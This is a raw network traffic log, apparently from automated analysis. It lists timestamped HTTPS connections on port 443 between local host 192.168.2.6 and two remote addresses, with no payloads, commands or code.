Nov 5, 2024 20:51:50.938986063 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.956655979 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.956732035 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.956783056 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.957278013 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.957294941 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.957304001 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.957309961 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.957664013 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.958025932 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.958076000 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.958096981 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.958111048 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.963619947 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.963651896 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.963716030 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.967391968 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.967432022 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.967502117 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.968674898 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.968691111 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.969999075 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.970010996 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.971906900 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.971976042 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.972027063 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.974747896 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.974756956 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.974769115 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.974771976 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.977160931 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.977190971 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.977319002 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.977473974 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.977488995 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.979460955 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.979485035 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.979523897 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.979532003 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.979557991 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.979865074 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.979872942 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.981724024 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.981734037 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.981786966 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.982027054 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.982037067 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.075192928 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.075261116 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.075314999 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.075450897 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.075450897 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.075474024 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.075481892 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.077925920 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.077964067 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.078103065 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.078243971 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.078258038 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.729147911 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.729545116 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.729568005 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.729999065 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.730006933 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.733951092 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.734344006 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.734357119 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.734714031 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.734724045 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.745451927 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.745790005 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.745814085 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.746155977 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.746164083 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.749602079 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.749963999 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.749989033 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.750339985 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.750349998 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.869815111 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.869851112 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.869896889 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.869910955 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.869944096 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.870140076 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.870160103 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.870171070 CET	49972	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.870177031 CET	443	49972	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.872684002 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.872776985 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.872885942 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.873035908 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.873071909 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.875195026 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.875272036 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.876847982 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.876874924 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.876890898 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.876900911 CET	49971	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.876907110 CET	443	49971	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.878896952 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.878935099 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.879046917 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.879157066 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.879172087 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.883965969 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.884288073 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.884304047 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.884726048 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.884731054 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.885575056 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.885847092 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.885902882 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.886054993 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.886061907 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.886094093 CET	49974	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.886097908 CET	443	49974	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.887854099 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.887901068 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.887958050 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.888072968 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.888194084 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.888206005 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.889791012 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.889848948 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.889856100 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.889926910 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.889972925 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.889985085 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.890001059 CET	49973	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.890006065 CET	443	49973	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.891721010 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.891736984 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:51.891796112 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.891916990 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:51.891927004 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.031399012 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.032633066 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.032708883 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.032850027 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.032861948 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.032876968 CET	49975	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.032881975 CET	443	49975	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.035095930 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.035142899 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.035274029 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.035425901 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.035437107 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.236792088 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:52.236844063 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:52.236905098 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:52.237324953 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:52.237338066 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:52.650609016 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.651130915 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.651149988 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.651566982 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.651571989 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.651926041 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.652347088 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.652390003 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.652699947 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.652709961 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.687217951 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.687767029 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.687776089 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.688361883 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.688366890 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.689644098 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.689948082 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.689958096 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.690480947 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.690485954 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791100025 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791130066 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791169882 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791184902 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.791223049 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.791460037 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.791474104 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791488886 CET	49977	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.791493893 CET	443	49977	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791737080 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791804075 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.791857004 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.792035103 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.792035103 CET	49978	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.792052031 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.792059898 CET	443	49978	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.794699907 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.794737101 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.794800997 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.794862032 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.794868946 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.794922113 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.794981003 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.794991970 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.795066118 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.795073032 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.798073053 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.798374891 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.798387051 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.798799038 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.798804045 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.837640047 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.837706089 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.837923050 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.839667082 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.839725971 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.839818954 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.839833021 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.839840889 CET	49979	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.839844942 CET	443	49979	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.839859962 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.841250896 CET	49976	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.841258049 CET	443	49976	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.843811989 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.843842983 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.843919992 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.845989943 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.845999956 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.846113920 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.853478909 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.853491068 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.854154110 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.854168892 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935491085 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935514927 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935564995 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.935575008 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935587883 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935636997 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.935863018 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.935868979 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.935892105 CET	49981	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.935894966 CET	443	49981	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.938690901 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.938702106 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:52.938770056 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.938950062 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:52.938957930 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.327147007 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.327222109 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.329857111 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.329863071 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.330077887 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.337971926 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.383328915 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.558845997 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.559277058 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.559293032 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.561081886 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.561086893 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.562657118 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.562999964 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.563007116 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.563385963 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.563390970 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.606813908 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.607151985 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.607157946 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.607491970 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.607495070 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.610090017 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.610534906 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.610605955 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.610917091 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.610929966 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.696388960 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.696399927 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.696412086 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.696424961 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.696480989 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.696492910 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.696521044 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.696540117 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.696615934 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.696671963 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.698206902 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.698240995 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.698276997 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.698282957 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.698307991 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.698544025 CET	49984	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.698554039 CET	443	49984	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.700618982 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.700628042 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.700640917 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.700772047 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.700817108 CET	443	49982	4.245.163.56	192.168.2.6
Nov 5, 2024 20:51:53.700861931 CET	49982	443	192.168.2.6	4.245.163.56
Nov 5, 2024 20:51:53.702368975 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702387094 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702433109 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702446938 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.702477932 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.702675104 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.702712059 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702761889 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.702769041 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702778101 CET	49983	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.702781916 CET	443	49983	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.702812910 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.703084946 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.703104019 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.706281900 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.706609011 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.706639051 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.707031012 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.707045078 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.707268000 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.707293987 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.707355022 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.707475901 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.707485914 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742649078 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742667913 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742714882 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.742722988 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742866993 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.742871046 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742882967 CET	49986	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.742883921 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.742888927 CET	443	49986	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.745708942 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.745728016 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.745780945 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.745794058 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.745830059 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746063948 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746063948 CET	49985	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746076107 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.746083021 CET	443	49985	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.746321917 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746335030 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.746383905 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746854067 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.746865988 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.748183966 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.748197079 CET	443	49991	13.107.253.45	192.168.2.6
